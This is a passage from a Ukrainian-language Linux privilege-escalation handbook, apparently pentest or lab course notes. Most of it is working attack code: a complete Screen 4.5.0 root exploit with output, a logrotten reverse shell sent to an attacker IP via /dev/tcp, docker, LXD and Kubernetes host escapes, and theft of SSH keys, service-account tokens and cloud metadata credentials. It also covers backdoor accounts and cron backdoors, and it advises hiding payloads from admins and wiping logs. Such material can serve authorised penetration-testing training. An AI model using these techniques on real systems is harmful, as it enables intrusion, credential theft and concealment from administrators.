# Чекаємо cron run (1-3 хвилини залежно від частоти)
# Отримуємо root reverse shell
```

## 9.6 Вектори cron privesc

- **World-writable script запускається root cron'ом** — Дописуємо payload
- **Cron script викликає команду без абсолютного шляху** — PATH hijacking (Розділ 6)
- **Cron використовує wildcard** — Wildcard injection (Розділ 7)
- **Writable cron файл у /etc/cron.d/** — Створюємо власний cron entry
- **Writable бінарь, що викликається cron** — Підміна бінаря
- **Symlink race на файли, з якими працює cron** — Складніше, але буває

**Чекати**

pspy треба залишити працювати мінімум 5-15 хвилин, щоб побачити реальну картину. Для щогодинних cron — годину. Після модифікації скрипта чекай ОДИН ПОВНИЙ cron cycle.

**Best practice (cover your tracks)**

(1) ЗАВЖДИ backup оригінального скрипта перед модифікацією. (2) Додавай payload в КІНЕЦЬ, не ламай основний функціонал — щоб адмін не помітив. (3) Після отримання root — відновлюй оригінал, ховай сліди (lastlog, bash_history).

# 10. Privileged Groups

Членство в певних системних групах (lxd, docker, disk, adm, shadow тощо) еквівалентне root правам — через механізми, які надаються цим групам. Перше що треба після **id** — перевірити чи ми в якійсь з них.

## 10.1 Таблиця привілейованих груп

| Група | Вектор | Результат |
|---|---|---|
| lxd / lxc | Privileged container з mount хоста | Full root |
| docker | docker run -v /:/mnt | Full root |
| disk | debugfs на /dev/sda1 | Read/write будь-якого файлу |
| adm | Читання /var/log/* | Info disclosure → creds → privesc |
| shadow | Читання /etc/shadow | Hash cracking |
| video | Доступ до framebuffer | Screenshots (info) |
| sudo / wheel | Потенційно sudo rights | Залежить від конфігу |
| systemd-journal | journalctl access | Info disclosure |
| kvm / libvirt | VM management | Мож. bypass через VM |

## 10.2 LXD / LXC Exploitation

LXD — Ubuntu container manager (system containers). Члени групи **lxd** можуть створювати privileged containers та монтувати весь host filesystem як root.

**Підтвердження доступу:**

```
id
# Шукаємо: groups=1009(devops),110(lxd)
```

**Сценарій A: готовий template на системі**

```
# 1. Шукаємо templates
ls ContainerImages/  # або find / -name '*.tar.xz' -o -name '*.tar.gz' 2>/dev/null

# 2. Імпортуємо image
lxc image import ubuntu-template.tar.xz --alias ubuntutemp
lxc image list

# 3. Init privileged container з mount хоста
lxc init ubuntutemp privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 4. Start + exec
lxc start privesc
lxc exec privesc /bin/bash

# 5. Повний доступ до хоста через /mnt/root
ls -l /mnt/root
cat /mnt/root/etc/shadow
cat /mnt/root/root/.ssh/id_rsa
```

### Сценарій B: Alpine image ззовні (якщо немає template)

```
# На атакуючій машині — зібрати Alpine образ
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

# Transfer до target (Python http server + wget/curl)
# На атакуючій: python3 -m http.server 8000
# На target: wget http://<atk>:8000/alpine-v3.xxx.tar.gz

# Далі як в сценарії A
lxc image import alpine-v3.xxx.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

### Persistence з LXD:

```
# Всередині контейнера, маючи доступ до /mnt/root:
# Варіант 1: SUID bash
cp /mnt/root/bin/bash /mnt/root/tmp/rootbash
chmod +s /mnt/root/tmp/rootbash
# Потім з хоста: /tmp/rootbash -p

# Варіант 2: SSH key
mkdir -p /mnt/root/root/.ssh
echo 'ssh-rsa AAAAB3...' >> /mnt/root/root/.ssh/authorized_keys
# ssh root@target

# Варіант 3: додати юзера UID 0
echo 'backdoor::0:0::/root:/bin/bash' >> /mnt/root/etc/passwd
# su backdoor
```

**ℹ Troubleshooting LXD**

lxd init може видавати помилки bridge — вони не критичні, пропускай (no на всі питання). Якщо lxc команда не знайдена — пробуй /snap/bin/lxc (Ubuntu snap installation). Якщо не вдається init — можна пропустити і одразу переходити до lxc image import.

## 10.3 Docker Group Exploitation

Членство в групі **docker** = фактично root на хості. Docker daemon працює як root, і будь-який член групи може запускати контейнери з mount хоста.

**Швидкий privesc через docker group:**

```
# Перевірка членства
id  # groups=...,116(docker)

# Перевірка доступних images
docker image ls

# One-liner до root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Якщо немає alpine — пробуй ubuntu, debian, busybox
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

# Всередині — ми root з доступом до всього хоста
```

### Docker Socket exploitation (з контейнера):

Якщо ми вже всередині Docker контейнера і бачимо writable docker.sock — ескейп до хоста:

```
# Шукаємо сокети в нестандартних місцях
find / -name 'docker.sock' 2>/dev/null
ls -la /var/run/docker.sock /app/docker.sock 2>/dev/null

# Якщо socket доступний, але docker client не встановлений:
wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz
tar xf docker-*.tgz && mv docker/docker /tmp/docker && chmod +x /tmp/docker

# Перелік контейнерів через socket
/tmp/docker -H unix:///app/docker.sock ps

# Створюємо privileged container з mount хоста
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged \
    -v /:/hostsystem <existing_image>

# Exec всередину і читаємо SSH ключ root
/tmp/docker -H unix:///app/docker.sock exec -it <container_id> /bin/bash
cat /hostsystem/root/.ssh/id_rsa

# Використати ключ для SSH як root
ssh root@<host_IP> -i /tmp/root_key
```

### Shared volumes — пасивний privesc:

Деколи ми опинимось у контейнері з примонтованим хостовим каталогом. Просто читаємо:

```
# Типові директорії для перевірки
ls -la /host /hostsystem /mnt /mnt/host 2>/dev/null

# Якщо /hostsystem/home/* видно — SSH keys
cat /hostsystem/home/*/.ssh/id_rsa 2>/dev/null
cat /hostsystem/root/.ssh/id_rsa 2>/dev/null

# SSH на хост з отриманим ключем
ssh user@<host> -i /tmp/user.key
```

### Container detection:

```
# Чи ми взагалі в контейнері?
ls /.dockerenv 2>/dev/null  # файл = ми в Docker
cat /proc/1/cgroup | grep -E 'docker|kubepods|lxc'
cat /proc/self/status | grep -i cap
```

## 10.4 Disk group — debugfs attack

Група **disk** дає read/write доступ до пристроїв у /dev (напр. /dev/sda1). Через debugfs можемо читати і писати будь-який файл filesystem.

```
# Перевірка групи
id | grep disk

# Визначаємо root disk
mount | grep ' / '
# Типово /dev/sda1 або /dev/mapper/ubuntu--vg-ubuntu--lv

# debugfs у interactive mode
debugfs /dev/sda1
debugfs: cat /etc/shadow          # читаємо будь-який файл
debugfs: write /tmp/shadow_copy /etc/shadow   # зберігаємо локально

# Після виходу маємо hashes для cracking → переходимо до john/hashcat
```

## 10.5 ADM group — logs reading

Група **adm** може читати логи в /var/log/*. Не дає прямого root, але часто розкриває паролі, cron patterns, помилки з credentials в output.

```
# Базова перевірка
id  # groups=...,4(adm)

# Найкорисніші логи
cat /var/log/auth.log | grep -i 'password\|failed\|sudo'
cat /var/log/syslog | grep -i cron
cat /var/log/mysql/*.log 2>/dev/null
cat /var/log/apache2/*.log 2>/dev/null | head -100

# Grep на паролі в argv (якщо хтось запускав команди з паролем)
grep -rE 'password=|pass=|pwd=' /var/log/ 2>/dev/null
```

# 11. Kubernetes

Kubernetes (k8s) — система оркестрації контейнерів. Якщо ми отримали доступ до одного pod'a або Kubelet API — часто можна скомпрометувати весь кластер, аж до master node.

## 11.1 Архітектура (коротко)

| Component | Роль |
|---|---|
| Control Plane (master) | API server, etcd, Scheduler, Controller Manager |
| Worker Nodes (minions) | Kubelet + контейнери |
| Pods | Найменша одиниця — 1+ контейнерів у спільному network namespace |

## 11.2 Критичні порти K8s (scan ці порти!)

| Порт | Сервіс | Критичність |
|---|---|---|
| 6443 | API server | Головний — може бути anonymous access |
| 10250 | Kubelet API | ⚠ Часто vulnerable (anonymous) |
| 10255 | Read-only Kubelet API | Застаріла, іноді все ще відкрита |
| 2379, 2380 | etcd | Key-value store — містить secrets! |
| 10251 | Scheduler | Info leak |
| 10252 | Controller Manager | Info leak |

## 11.3 Enumeration — атакуємо k8s

```
# 1. Перевірка API server
curl https://<master-ip>:6443 -k
# forbidden: User "system:anonymous" — очікувано

# 2. КРИТИЧНО: Kubelet API (anonymous access?)
curl https://<master-ip>:10250/pods -k | jq .
# Якщо повертає JSON зі списком pods — anonymous access enabled!

# 3. Read-only API (застаріла)
curl http://<master-ip>:10255/pods -k

# 4. etcd (direct access, часто без auth)
curl http://<master-ip>:2379/v2/keys -k
```

## 11.4 kubeletctl — робочий інструмент

```
# Install: github.com/cyberark/kubeletctl
wget https://github.com/cyberark/kubeletctl/releases/download/v1.12/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64 && mv kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

# Перелік pods
kubeletctl -i --server <master-ip> pods

# Scan: які pods вразливі до RCE через kubelet
kubeletctl -i --server <master-ip> scan rce

# Exec в конкретному pod/container (якщо RCE доступний)
kubeletctl -i --server <master-ip> exec "id" -p nginx -c nginx
# uid=0(root) gid=0(root) groups=0(root)   ← root всередині контейнера!
```

## 11.5 Extract Service Account Token та CA cert

Кожен pod має примонтовані credentials для спілкування з API server. Якщо у нас RCE в pod — ми можемо ці credentials витягнути:

```
# Service account token (JWT)
kubeletctl -i --server <master-ip> \
    exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
    -p nginx -c nginx | tee -a k8.token

# CA certificate для TLS
kubeletctl --server <master-ip> \
    exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
    -p nginx -c nginx | tee -a ca.crt

# Namespace
kubeletctl -i --server <master-ip> \
    exec "cat /var/run/secrets/kubernetes.io/serviceaccount/namespace" \
    -p nginx -c nginx
```

## 11.6 Перевірка своїх прав через kubectl

```
# Export token
export token=`cat k8.token`

# Перелік permissions
kubectl --token=$token --certificate-authority=ca.crt \
    --server=https://<master-ip>:6443 auth can-i --list

# Що шукаємо в output (сортовано по цінності):
# * *              ← cluster admin (□ game over)
# pods [create]    ← створити malicious pod → host escape
# secrets [get, list]  ← читати всі secrets у namespace
# serviceaccounts/token [create]  ← імперсонація
# nodes [get] + pods/exec [create]  ← exec в будь-який pod
```

## 11.7 Malicious pod для escape до хоста

Якщо маємо **pods [create]** — створюємо privileged pod з mount хоста. Подібний принцип до Docker attack — контейнер з volume mount всього root FS.

**privesc.yaml:**

```
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

**Розгортання і експлуатація:**

```
# Створення pod
kubectl --token=$token --certificate-authority=ca.crt \
    --server=https://<master-ip>:6443 apply -f privesc.yaml

# Перевірка статусу (треба чекати Running)
kubectl --token=$token --certificate-authority=ca.crt \
    --server=https://<master-ip>:6443 get pods
# NAME    READY   STATUS      AGE
# privesc  1/1     Running    12s

# Читаємо SSH ключ root хоста через mount
kubeletctl --server <master-ip> \
    exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

# SSH на хост
ssh root@<host-ip> -i /tmp/stolen_key
```

## 11.8 Критичні YAML опції для privesc

| Опція | Ефект |
|---|---|
| hostPath: / | Mount root FS хоста у pod |
| hostNetwork: true | Спільна мережа з хостом (bypass network policies) |
| hostPID: true | Спільний PID namespace — видно всі процеси хоста |
| hostIPC: true | Спільний IPC namespace |
| securityContext.privileged: true | Full capabilities |
| automountServiceAccountToken: true | Інжектити токен у pod |

## 11.9 Cloud metadata API (bonus)

Якщо k8s розгорнутий у cloud (AWS/GCP/Azure), з pod часто доступний metadata service (169.254.169.254) — джерело IAM credentials.

```
# AWS EC2 IMDS
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
curl -H "Metadata:true" \
    http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

**Чекати**

Pod creation — 5-30 секунд (треба чекати STATUS: Running перед exec). Kubelet/API scans — секунди. Scan rce в kubeletctl — залежить від кількості pods.

# 12. Vulnerable Services (CVE-based privesc)

Багато системних сервісів мають historical CVE, які дозволяють local privesc. Методологія: (1) визначити версії встановлених сервісів, (2) перевірити на CVE, (3) знайти PoC, (4) запустити.

## 12.1 Loop для пошуку CVE

```
# 1. Kernel version
uname -a
cat /proc/version

# 2. Packages з версіями
dpkg -l | less      # Debian/Ubuntu
rpm -qa | less      # RHEL/CentOS

# 3. Конкретні версії критичних сервісів
sudo -V              # sudo
screen -v            # screen
python3 --version
pkexec --version
polkit --version

# 4. Пошук expiloits (на атакуючій)
searchsploit sudo 1.8.27
searchsploit linux kernel 4.4
searchsploit screen 4.5
```

## 12.2 Таблиця найважливіших CVE

| CVE | Сервіс | Версія | Опис |
|---|---|---|---|
| CVE-2017-5618 | Screen | 4.5.0 | ld.so.preload race (SUID) |
| CVE-2019-14287 | sudo | < 1.8.28 | -u#-1 UID bypass |
| CVE-2021-3156 | sudo | 1.8.2-1.9.5p1 | Baron Samedit (heap overflow) |
| CVE-2021-4034 | polkit/pkexec | <0.120 | PwnKit — SUID pkexec local root |
| CVE-2016-5195 | Linux kernel | <3.9 (varied) | DirtyCOW (COW race) |
| CVE-2022-0847 | Linux kernel | 5.8-5.16.11 | Dirty Pipe |
| CVE-2021-3493 | Linux kernel | <5.11 (Ubuntu) | OverlayFS local privesc |
| CVE-2023-22809 | sudoedit | 1.9.12p1 | EDITOR arbitrary file edit |
| CVE-2016-9566 | Nagios Core | <4.2.4 | Log injection → root |

## 12.3 Приклад: Screen 4.5.0 exploit (CVE-2017-5618)

Screen 4.5.0 має SUID bit і вразливий до race condition у ld.so.preload overwriting. Потрібні: наявність gcc, writable /tmp, SUID на screen.

**Перевірка preconditions:**

```
screen -v                 # Screen version 4.05.00 ✓
ls -la $(which screen)    # повинен бути SUID (-rwsr-xr-x)
which gcc                 # повинен бути встановлений
ls -la /tmp               # writable?
```

**Повний PoC (screenroot.sh):**

```
#!/bin/bash
# CVE-2017-5618 — Screen 4.5.0 local root
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
```

**Запуск:**

```
chmod +x screenroot.sh
./screenroot.sh

# Результат:
# ~ gnu/screenroot ~
# [+] First, we create our shell and library...
# [+] Now we create our /etc/ld.so.preload file...
# [+] Triggering...
# [+] done!
# No Sockets found in /run/screen/S-user.
#
# # id
# uid=0(root) gid=0(root) groups=0(root),...,1000(mrb3n)
```

## 12.4 Методологія пошуку exploit

```
# На атакуючій Kali/Parrot
searchsploit <service> <version>
searchsploit -m <exploit_id>      # copy до поточної директорії

# Online бази
# https://exploit-db.com
# https://github.com — пошук 'CVE-YYYY-NNNN'
# https://cve.mitre.org

# Linux Exploit Suggester (на target)
wget https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
```

⚠ **Kernel exploits — обережно**

Kernel exploits можуть повісити або reboot систему. Ніколи не запускай на production без явного дозволу. DirtyCOW, Dirty Pipe — хоч і стабільні, але можуть призвести до panic. Завжди мати план відновлення.

# 13. Logrotate (Logrotten exploit)

Logrotate — системний інструмент ротації логів, запускається через cron як root. Версії 3.8.6, 3.11.0, 3.15.0, 3.18.0 мають race condition, що дозволяє запис будь-якого файлу через symlink під час ротації.

## 13.1 Preconditions

- Write permission на log файл (або директорію, де він знаходиться)
- Logrotate запускається як root (майже завжди)
- Вразлива версія logrotate: 3.8.6 / 3.11.0 / 3.15.0 / 3.18.0

## 13.2 Enumeration

```
# Version check
logrotate --version
logrotate --help

# Config перегляд
cat /etc/logrotate.conf
ls /etc/logrotate.d/
cat /etc/logrotate.d/*

# Яка опція використовується — critical для вибору варіанта експлойта
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

# Writable логи нашим юзером?
find /var/log -writable 2>/dev/null

# Статус останньої ротації
sudo cat /var/lib/logrotate.status  # якщо sudo
```

## 13.3 Принцип експлуатації (race condition)

Logrotate має коротке вікно між операціями (наприклад, створення нового файлу та встановлення permissions). Протягом цього вікна ми можемо створити symlink у писемний лог-файл, що вказує на привілейовану локацію. Logrotate запише контент у symlink target, а оскільки працює від root — маємо arbitrary file write як root.

## 13.4 Два варіанти експлойта (залежно від опції)

| Опція logrotate | Атака |
|---|---|
| create | Race на створення нового файлу після rotation |
| compress | Race на compression phase |

## 13.5 Експлуатація з Logrotten

```
# 1. Clone + compile (на target або similar machine)
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten

# 2. Payload — наш reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload

# 3. Визначаємо опцію в конфігу (critical)
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
# Output: create    ← використовуємо варіант для 'create'

# 4. Listener на атакуючій
nc -nlvp 9001

# 5. Запуск експлойта (вказуємо writable log)
./logrotten -p ./payload /tmp/tmp.log

# 6. Чекаємо наступного cron run logrotate (типово /etc/cron.daily/logrotate)
# Після запуску — reverse shell як root
```

## 13.6 Що шукати в output logrotate --version

| Версія | Vulnerable? |
|---|---|
| 3.8.6 | YES ✓ |
| 3.11.0 | YES ✓ |
| 3.15.0 | YES ✓ |
| 3.18.0 | YES ✓ |
| Інші (patched backport) | Можливо — перевіряй changelog дистрибутива |

**Чекати**

Треба чекати наступного cron run logrotate — зазвичай /etc/cron.daily/logrotate (раз на день). Force run можна тільки через sudo — але якщо є sudo, privesc вже не потрібен. Альтернатива — шукати writable лог, що ротується частіше (hourly rules у /etc/cron.hourly).

## 13.7 Альтернативні payload варіанти

Після запису будь-якого файлу як root можемо обрати різні вектори:

- **Reverse shell** — `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
- **SUID bash** — `cp /bin/bash /tmp/rb; chmod +s /tmp/rb`
- **Sudoers entry** — `echo "user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers`
- **SSH key** — `echo "ssh-rsa AAA..." >> /root/.ssh/authorized_keys`
- **Cron job** — `echo "* * * * * root /tmp/cmd.sh" > /etc/cron.d/backdoor`
- **New root user** — `echo "bd::0:0::/root:/bin/bash" >> /etc/passwd`

# 14. Weak NFS Privileges (no_root_squash)

NFS (Network File System, порт 2049) дозволяє шарити директорії між хостами. Misconfiguration опція **no_root_squash** — одна з найтривіальніших privesc можливостей: remote root = local root на NFS сервері.

## 14.1 Enumeration

```
# Remote enumeration — які shares експортовано
showmount -e <target_IP>
# Export list for 10.129.2.12:
# /tmp             *
# /var/nfs/general *

# Якщо ми вже на NFS сервері — дивимось /etc/exports
cat /etc/exports

# RPC info (додаткова інфа)
rpcinfo -p <target_IP>
nmap -p 111,2049 --script=nfs-* <target>
```

## 14.2 Опції в /etc/exports

| Опція | Безпечно? | Ефект |
|---|---|---|
| root_squash | ✓ Default | Remote root → nfsnobody (unprivileged) |
| no_root_squash | ✗ КРИТИЧНО | Remote root = local root на NFS server |
| all_squash | ✓ | Всі користувачі → nfsnobody |
| no_all_squash | ⚠ | UIDs зберігаються як є |
| rw | ⚠ | Read-write доступ |
| ro | ✓ | Read-only |
| insecure | ✗ | Дозволяє порти >1024 (bypass firewall) |
| no_subtree_check | ⚠ | Зниження security для performance |

## 14.3 Класична експлуатація no_root_squash

Сценарій: ми вже маємо shell як low-priv на target, але також маємо root на **своєму** атакуючому хості (Pwnbox, Kali). Створюємо SUID бінарь з root на атакуючій, копіюємо через NFS, запускаємо з low-priv на target → root.

**Крок 1: SUID C payload на атакуючій (як root):**

```
# /tmp/shell.c на атакуючій
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
    setuid(0); setgid(0); system("/bin/bash");
}
EOF

# Компіляція
gcc /tmp/shell.c -o /tmp/shell
```

**Крок 2: Mount NFS share локально і deploy:**

```
# На атакуючій (з правами root!)
sudo mkdir -p /mnt/nfs_share
sudo mount -t nfs <target_IP>:/tmp /mnt/nfs_share

# Копіюємо бінарь
sudo cp /tmp/shell /mnt/nfs_share/
sudo chown root:root /mnt/nfs_share/shell
sudo chmod u+s /mnt/nfs_share/shell

# Перевіряємо
ls -la /mnt/nfs_share/shell
# -rwsr-xr-x 1 root root 16712 ... /mnt/nfs_share/shell   ← SUID!
```

**Крок 3: На target — запускаємо:**

```
# На target як low-priv user
cd /tmp
ls -la shell
# -rwsr-xr-x 1 root root 16712 Sep  1 06:15 shell   ← є SUID

./shell
id
# uid=0(root) gid=0(root) groups=0(root),...
```

## 14.4 Альтернативний метод — пряма модифікація SSH keys

Якщо NFS share включає /root або /home/, можна додати власний SSH key:

```
# На атакуючій
sudo mount -t nfs <target>:/root /mnt/nfs_root
sudo mkdir -p /mnt/nfs_root/.ssh
cat ~/.ssh/id_rsa.pub | sudo tee -a /mnt/nfs_root/.ssh/authorized_keys
sudo chmod 600 /mnt/nfs_root/.ssh/authorized_keys

# SSH як root
ssh root@<target>
```

> **Чекати**
>
> Нічого — експлуатація миттєва. mount + copy + exec.

# 15. Passive Traffic Capture

Якщо на системі встановлений tcpdump з cap_net_raw (або SUID) — можна моніторити мережевий трафік і перехоплювати credentials у cleartext. Пасивна техніка — не створює pakets, лише слухає.

## 15.1 Preconditions

- tcpdump встановлений (або tshark, wireshark-cli)
- У бінаря є cap_net_raw або SUID bit (інакше need root)
- У мережі є cleartext трафік (HTTP, FTP, telnet, POP3, SMTP, SNMP)
- Готовність моніторити довго — хвилини/години

## 15.2 Команди для capture

```
# Базовий capture всього
tcpdump -i any -w /tmp/capture.pcap -s 65535

# Фільтр по HTTP / FTP / SMTP
tcpdump -i any -w /tmp/http.pcap 'tcp port 80 or tcp port 21 or tcp port 25'

# Тільки трафік з/на конкретний хост
tcpdump -i any -w /tmp/cap.pcap host 10.0.0.5

# На конкретному інтерфейсі
tcpdump -i eth0 -w /tmp/cap.pcap

# Перевірка capabilities
getcap $(which tcpdump)
```

## 15.3 Аналіз захопленого трафіку

```
# Автоматичний extract credentials (на атакуючій)
# net-creds
git clone https://github.com/DanMcInerney/net-creds.git
python3 net-creds/net-creds.py -p capture.pcap

# PCredz — шукає credit cards, NTLM, creds
pip3 install Cython python-libpcap
git clone https://github.com/lgandx/PCredz
python3 PCredz/Pcredz -f capture.pcap

# tshark — Wireshark CLI
tshark -r capture.pcap -Y 'http.authorization'
tshark -r capture.pcap -Y 'http.cookie'
tshark -r capture.pcap -Y 'ftp.request.command == "USER" or ftp.request.command == "PASS"'

# Strings — grep плоский
strings capture.pcap | grep -iE 'password|user|login|auth'
```

## 15.4 Що шукати

- **HTTP Basic Auth** — Authorization: Basic <base64> — тривіально декодується
- **HTTP cookies, sessions** — Для hijacking аутентифікованих сесій

- **FTP / telnet** — USER / PASS в cleartext
- **POP3 / IMAP** — Email passwords
- **SMTP AUTH** — Mail servers, часто з reused passwords
- **SNMP v1/v2c community strings** — Default: public, private
- **NTLM/Kerberos hashes** — Через SMB, IIS — можна crackувати
- **Database queries** — MySQL/Postgres cleartext креди

> **Чекати**
>
> Мінімум 5-10 хвилин для активних систем. Для тихих — години. Запускай capture у tmux/nohup + йди робити інші enumeration tasks.

# 16. Tmux / Screen Session Hijacking

Tmux та screen — термінальні мультиплексори. Якщо root (або інший privileged юзер) залишив detached session з погано налаштованим сокетом, ми можемо до неї приєднатись і отримати його shell.

## 16.1 Пошук активних сесій

```
# Tmux processes
ps aux | grep -E 'tmux|screen'

# Що шукаємо — tmux з -S <socket_path>:
# root 4806 ... tmux -S /shareds new -s debugsess

# Writable sockets
find / -type s -writable 2>/dev/null

# Перевірка конкретного сокета
ls -la /shareds
# srw-rw---- 1 root devs 0 ... /shareds
# (root:devs) — якщо ми в групі devs, маємо read+write

# Членство в групі
id
# groups=...,1011(devs)
```

## 16.2 Tmux hijacking

```
# Attach до shared сесії
tmux -S /shareds

# Якщо сесія має name:
tmux -S /shareds attach -t debugsess

# Перевірка — ми в shell цільового юзера
id
# uid=0(root) gid=0(root) groups=0(root)
```

## 16.3 Screen hijacking (аналогічний принцип)

```
# Перелік сесій
screen -ls

# Attach
screen -r <session_name>

# Якщо detached сесії з writable сокетом у /var/run/screen/S-<user>/<PID>.<name>
ls -la /var/run/screen/S-*

# Attach через force (-d -r)
screen -d -r <session>

# Якщо сесія не в нашому user dir — можна через absolute path
SCREENDIR=/var/run/screen/S-<target_user> screen -r
```

## 16.4 Preconditions

- Tmux/screen сесія запущена privileged юзером (root або інший)
- Socket файл має permissions, що дозволяють нам запис
- Зазвичай через membership у спільній групі або world-writable (misconfig)
- АБО socket у писемному від нас каталозі (/tmp misconfig)

# 17. Escaping Restricted Shells

Restricted shells (rbash, rksh, rzsh) обмежують можливості юзера: забороняють cd, модифікацію env vars, виконання команд з інших директорій, тощо. Це НЕ privesc сам по собі, а необхідний крок перед іншими техніками, якщо ми в restricted.

## 17.1 Визначення restricted shell

```
echo $0
# rbash / -rbash — restricted bash

# Спробуй cd / — якщо fail, ти в restricted
cd /
# rbash: cd: restricted

# Перевір дозволені команди
ls /usr/local/bin/     # часто тут лежать дозволені binaries
```

## 17.2 Техніки escape

### A. Через текстовий редактор / pager

```
# vi / vim
vi /tmp/x
# всередині: :set shell=/bin/bash
# потім:     :shell
# або:       :!/bin/bash

# less / more
less /etc/hosts
# всередині: !/bin/bash

# man
man man
# всередині: !/bin/bash

# nano
nano
# ^R ^X, потім ввести: reset; bash 1>&0 2>&0
```

### B. Через мови програмування

```
# Python
python -c 'import os; os.system("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

# Perl
perl -e 'exec "/bin/bash";'

# Ruby
ruby -e 'exec "/bin/bash"'

# PHP
php -r 'system("/bin/bash");'

# Node.js
node -e 'require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'
```

### C. Через інші бінарі (GTFOBins)

```
# find
find / -name nothing -exec /bin/bash \;

# awk
awk 'BEGIN {system("/bin/bash")}'

# expect
expect -c 'spawn /bin/bash; interact'

# Git (older)
git help config
# всередині: !/bin/bash
```

### D. Bash-specific bypasses для rbash

```
# BASH_CMDS — обхід обмежень
BASH_CMDS[a]=/bin/sh; a
# потім у новому shell:
export PATH=/usr/bin:/bin
export SHELL=/bin/bash

# Invoke bash безпосередньо (якщо дозволено)
/bin/bash

# ENV / BASH_ENV при логіні
# (якщо ми контролюємо env або startup files)
```

## 17.3 Команди injection та chaining (коли escape обмежений)

Якщо restricted shell дозволяє лише певні команди з певними аргументами, часто можна впровадити додаткові команди через shell metacharacters:

```
# Command substitution
ls `/bin/bash`
ls $(/bin/bash)

# Command chaining
ls; /bin/bash
ls && /bin/bash
ls || /bin/bash
ls | /bin/bash

# Через environment variable injection (якщо shell parsить)
cmd='ls; /bin/bash'; $cmd

# Backticks
ls `pwd`  # якщо pwd не restricted, можна substitute у дозволений ls
```

**Порядок дій**

Після escape з restricted shell — одразу розшири ENV (PATH, SHELL) і запусти повноцінний interactive shell: python3 -c 'import pty; pty.spawn("/bin/bash")'. Потім — нормальне enumeration.

# 18. Додаткові техніки (Writable Critical Files)

Іноді перерахування виявляє 'подарунки' — критичні системні файли, які помилково writable. Це не категорія атаки, а набір швидких перемог, які треба перевіряти завжди.

## 18.1 Writable /etc/passwd

```
ls -la /etc/passwd
# Якщо -rw-rw-rw- або наш user/group — catastrophic

# Генеруємо hash для 'password'
openssl passwd -1 -salt hack password
# $1$hack$hxOyN8KF7bfx...

# Додаємо власного root-користувача
echo 'hax:$1$hack$hxOyN8KF7bfx...:0:0::/root:/bin/bash' >> /etc/passwd

su hax
# password
# → root shell
```

## 18.2 Writable /etc/shadow

```
ls -la /etc/shadow
# Зазвичай -rw-r----- root:shadow, але може бути misconfig

# Варіант A: замінити root hash
openssl passwd -6 -salt pwn password
# $6$pwn$...

# Вручну редагувати /etc/shadow:
# root:$6$pwn$...:....

su root
# password → root

# Варіант B: видалити hash (login без пароля)
# root::....
su
```

## 18.3 Writable /etc/sudoers або /etc/sudoers.d/

```
ls -la /etc/sudoers /etc/sudoers.d/

# Додати правило NOPASSWD для себе
echo '<our_user> ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
# або створити файл у /etc/sudoers.d/
echo '<our_user> ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/pwn

sudo -l
sudo su
```

## 18.4 Writable /etc/ld.so.preload

Файл /etc/ld.so.preload містить шляхи .so бібліотек, які підвантажуються у КОЖНИЙ binary, включно з SUID. Запис у нього = root через будь-який SUID:

```
ls -la /etc/ld.so.preload
# Файл може не існувати — але писемна папка /etc?

# Створюємо malicious shared object
cat > /tmp/hax.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void init(void){
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/hax.so /tmp/hax.c -nostartfiles

